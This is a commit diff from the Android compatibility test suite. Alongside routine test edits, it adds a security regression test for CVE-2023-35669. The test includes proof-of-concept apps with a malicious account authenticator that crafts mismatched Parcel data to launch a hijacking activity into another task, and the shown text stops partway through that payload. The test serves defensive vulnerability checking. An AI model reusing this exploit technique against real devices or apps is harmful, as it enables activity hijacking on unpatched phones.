summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2023-11-04 12:00:54 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2023-11-04 12:00:54 +0000
commit56e38f7c0c4e2ec8e9385e6327427554de7411bb (patch)
tree8112a99d7c75e3dd3672f0be68fccb213ece892b
parentd8d8a95eb8db262743ec883520f69ed3b659a662 (diff)
parent3ffd921370d3457dfae5fe626d325be965979023 (diff)
downloadcts-android14-mainline-media-swcodec-release.tar.gz
Snap for 11052082 from 3ffd921370d3457dfae5fe626d325be965979023 to mainline-media-swcodec-releaseaml_swc_341312300aml_swc_341312020android14-mainline-media-swcodec-release
Change-Id: Ia1b9c576f4040bbc032d5e082857fafec2ffb2f3
-rw-r--r--apps/CtsVerifier/res/values/strings.xml2
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java2
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java2
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java48
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp59
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml40
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java32
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml41
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml20
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java158
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java59
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java177
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java4
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java13
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java11
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java10
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java11
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java17
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java149
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java13
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java11
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerComponentUtils.java (renamed from tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java)84
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java66
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java11
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java5
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java33
-rw-r--r--tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java5
-rw-r--r--tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java21
-rw-r--r--tests/tests/security/AndroidManifest.xml13
-rw-r--r--tests/tests/security/res/values/strings.xml15
-rw-r--r--tests/tests/security/res/xml/device_admin_cve_2021_0600.xml20
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java137
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java86
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java22
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2022_20234.java69
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2023_20927.java90
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2023_21283.java69
39 files changed, 1568 insertions, 119 deletions
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 854b380a6d9..4967f32879b 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -6946,7 +6946,7 @@ Follow the instructions on the screen to measure the frequency response for the
\n1. Ensure that the test is already started on the reference device.
\n2. Input the device ID of the reference device (displayed on the reference device) into the provided field and click "Start Test"
\n3. The test is automatically stopped and passed (or failed) when all the required data is collected
- \n4. The test is passed if the median RSSI from both DUT and reference device is between -65dBm and -45dBm.
+ \n4. The test is passed if the median RSSI from both DUT and reference device is between -65dBm and -35dBm.
\nReference device instructions
\n1. Ensure that the "Is reference device" checkbox is checked, then click, "Start Advertising"
</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index a6977732edd..8f3d0258ba8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -636,7 +636,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
}
// setUsbDataSignalingEnabled
- if (canUsbDataSignalingBeDisabled()) {
+ if (!FeatureUtil.isTelevision(this) && canUsbDataSignalingBeDisabled()) {
adapter.add(createInteractiveTestItem(this, DISABLE_USB_DATA_SIGNALING_TEST_ID,
R.string.device_owner_disable_usb_data_signaling_test,
R.string.device_owner_disable_usb_data_signaling_test_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java
index f18f84f1b58..c1589f6f3a5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxOffsetPrecisionActivity.java
@@ -54,7 +54,7 @@ public class BleRxTxOffsetPrecisionActivity extends PassFailButtons.Activity {
// Thresholds
private static final int MIN_RSSI_MEDIAN_DBM = -65;
- private static final int MAX_RSSI_MEDIAN_DBM = -45;
+ private static final int MAX_RSSI_MEDIAN_DBM = -35;
private boolean isReferenceDevice;
private BleScanner mBleScanner;
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java
new file mode 100644
index 00000000000..06dffc403f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_35669 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 265798288)
+ @Test
+ public void testPocCVE_2023_35669() {
+ try {
+ // Install the test and target apps
+ installPackage("CVE-2023-35669-test.apk");
+ installPackage("CVE-2023-35669-target.apk");
+
+ final String testPkg = "android.security.cts.CVE_2023_35669_test";
+
+ // Run the test "testCVE_2023_35669"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_35669");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp
new file mode 100644
index 00000000000..ccb0a70b383
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-35669-target",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "target-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ manifest: "target-app/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+ name: "CVE-2023-35669-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "test-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "compatibility-device-util-axt",
+ ],
+ manifest: "test-app/AndroidManifest.xml",
+ resource_dirs: [
+ "res",
+ "test-app/res",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml
new file mode 100644
index 00000000000..1dd70320bf6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="accountName">TestAccount</string>
+ <string name="accountType">testevilaccount</string>
+ <string name="actionTarget">actionTarget</string>
+ <string name="activityTarget">android.security.cts.CVE_2023_35669_target.TargetActivity</string>
+ <string name="app_name">CVE_2023_35669</string>
+ <string name="bcastActionTarget">CVE_2023_35669_TargetActivity</string>
+ <string name="fieldName">mNonLocalizedLabel</string>
+ <string name="isVulnerable">isVulnerable</string>
+ <string name="launchTaskId">android.activity.launchTaskId</string>
+ <string name="msgFailure">Device is vulnerable to b/265798288 !!</string>
+ <string name="noExceptionMsg">no exception</string>
+ <string name="objectNotFound">%1$s account not found</string>
+ <string name="password">password</string>
+ <string name="pkgTarget">android.security.cts.CVE_2023_35669_target</string>
+ <string name="pocActivityStatus">status</string>
+ <string name="pocCrashedMsg">PocActivity crashed with exception: %s</string>
+ <string name="pocFailedMsg">pocActivity failed</string>
+ <string name="removeAccount">REMOVE ACCOUNT</string>
+ <string name="spannableString">A</string>
+ <string name="targetFailMsg">TargetActivity did not launch successfully</string>
+ <string name="taskId">taskId</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml
new file mode 100644
index 00000000000..8188feb4bfe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_35669_target">
+
+ <application>
+ <activity
+ android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java
new file mode 100644
index 00000000000..d8c3536c2cb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_target;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.actionTarget), true)
+ .putExtra(getString(R.string.taskId), getTaskId()));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml
new file mode 100644
index 00000000000..ea241917035
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_35669_test">
+
+ <application>
+ <activity android:name=".HijackActivity" />
+
+ <service
+ android:name=".PocAuthService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+
+ <activity android:name=".PocActivity" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_35669_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml
new file mode 100644
index 00000000000..a4906cb5c68
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="testevilaccount"
+ android:label="@string/app_name"/>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java
new file mode 100644
index 00000000000..026aa574be6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private String mPocActivityStatus;
+ public static int sTaskId;
+ public static final int TIMEOUT_MS = 5000;
+
+ @Test
+ public void testCVE_2023_35669() {
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ Context context = instrumentation.getContext();
+ runWithShellPermissionIdentity(
+ () -> {
+ // Registering a receiver here to wait for broadcast
+ final Semaphore targetReturn = new Semaphore(0);
+ final Semaphore hijackReturn = new Semaphore(0);
+ final Semaphore pocReturn = new Semaphore(0);
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ // Wait for TargetActivity to get launched
+ if (intent.getBooleanExtra(
+ context.getString(R.string.actionTarget),
+ false)) {
+ // Fetch taskId
+ sTaskId =
+ intent.getIntExtra(
+ context.getString(R.string.taskId),
+ -1);
+ if (sTaskId != -1) {
+ targetReturn.release();
+ }
+ }
+
+ // Wait for HijackActivity to get launched
+ if (intent.getBooleanExtra(
+ context.getString(R.string.isVulnerable),
+ false)) {
+ hijackReturn.release();
+ }
+
+ // Wait for PocActivity to get launched
+ mPocActivityStatus =
+ intent.getStringExtra(
+ context.getString(
+ R.string.pocActivityStatus));
+ if (mPocActivityStatus != null) {
+ pocReturn.release();
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+ IntentFilter filter =
+ new IntentFilter(context.getString(R.string.bcastActionTarget));
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Start TargetActivity
+ context.startActivity(
+ new Intent(Intent.ACTION_MAIN)
+ .setClassName(
+ context.getString(R.string.pkgTarget),
+ context.getString(R.string.activityTarget))
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ assumeTrue(
+ context.getString(R.string.targetFailMsg),
+ targetReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ // Start PocActivity
+ context.startActivity(
+ new Intent(context, PocActivity.class)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ assumeTrue(
+ context.getString(R.string.pocFailedMsg),
+ pocReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assumeTrue(
+ context.getString(R.string.pocCrashedMsg, mPocActivityStatus),
+ mPocActivityStatus.equals(
+ context.getString(R.string.noExceptionMsg)));
+
+ // Wait for account name to appear on display and then click
+ UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+ clickObject(context, uiDevice, context.getString(R.string.accountName));
+
+ // Click on 'Remove Account' button
+ clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+ // Click on 'Remove Account' popup to confirm account removal
+ clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+ // On vulnerable device, HijackActivity will be launched and the test fails
+ assertFalse(
+ context.getString(R.string.msgFailure),
+ hijackReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ });
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ public void clickObject(Context context, UiDevice uiDevice, String objectName) {
+ Pattern activityPattern = Pattern.compile(objectName, Pattern.CASE_INSENSITIVE);
+ BySelector removeAccountSelector = By.text(activityPattern);
+ UiObject2 uiObject = uiDevice.wait(Until.findObject(removeAccountSelector), TIMEOUT_MS);
+ assumeNotNull(context.getString(R.string.objectNotFound, objectName), uiObject);
+ uiObject.click();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java
new file mode 100644
index 00000000000..cbc869fa35a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class HijackActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ try {
+ super.onResume();
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.isVulnerable), true));
+ } catch (Exception ignored) {
+ // Ignoring exceptions here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java
new file mode 100644
index 00000000000..48cec739a9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ try {
+ super.onResume();
+
+ // Adding account
+ getSystemService(AccountManager.class)
+ .addAccountExplicitly(
+ new Account(
+ getString(R.string.accountName),
+ getString(R.string.accountType)),
+ getString(R.string.password),
+ new Bundle());
+
+ // Show settings to allow configuration of sync settings
+ startActivity(new Intent(Settings.ACTION_SYNC_SETTINGS));
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(
+ getString(R.string.pocActivityStatus),
+ getString(R.string.noExceptionMsg)));
+ } catch (Exception e) {
+ try {
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.pocActivityStatus), e.getMessage()));
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java
new file mode 100644
index 00000000000..4cdf4e5579a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.LabeledIntent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.text.SpannableString;
+import android.text.style.URLSpan;
+
+import java.lang.reflect.Field;
+import java.nio.charset.StandardCharsets;
+
+public class PocAuthService extends Service {
+
+ private Bundle createResultBundle() {
+ try {
+ Bundle result = new Bundle();
+ result.putString(AccountManager.KEY_ACCOUNT_NAME, "testevilaccountname");
+ result.putString(AccountManager.KEY_ACCOUNT_TYPE, "testevilaccount");
+ result.putString(AccountManager.KEY_AUTHTOKEN, "mockAuthToken");
+ return result;
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ return null;
+ }
+
+ public PocAuthService() {}
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new TestAccountAuthenticator(this).getIBinder();
+ }
+
+ class TestAccountAuthenticator extends AbstractAccountAuthenticator {
+
+ public TestAccountAuthenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle getAccountRemovalAllowed(
+ AccountAuthenticatorResponse response, Account account)
+ throws NetworkErrorException {
+
+ try {
+ LabeledIntent labeledIntent =
+ new LabeledIntent(
+ new Intent(PocAuthService.this, HijackActivity.class),
+ null /* sourcePackage */,
+ 1 /* labelRes */,
+ 0 /* icon */);
+
+ // Creating parcel to setDataPosition
+ Parcel optionPayload = Parcel.obtain();
+ Bundle evilOptions = new Bundle();
+ evilOptions.putInt(getString(R.string.launchTaskId), DeviceTest.sTaskId);
+ evilOptions.writeToParcel(optionPayload, 0 /* flags */);
+ optionPayload.setDataPosition(0 /* position */);
+ int originLen = optionPayload.readInt();
+ optionPayload.setDataPosition(0 /* position */);
+
+ // Parcel data not fully consumed, unread size : 76
+ optionPayload.writeInt(originLen + 76);
+
+ // Creating parcel to create URLSpan
+ Parcel payload = Parcel.obtain();
+ payload.writeString(null /* resultWho */);
+ payload.writeInt(-1 /* requestCode */);
+ payload.writeInt(0 /* flags */);
+ payload.writeTypedObject(null, 0 /* profilerInfo */);
+ payload.writeInt(1 /* value */);
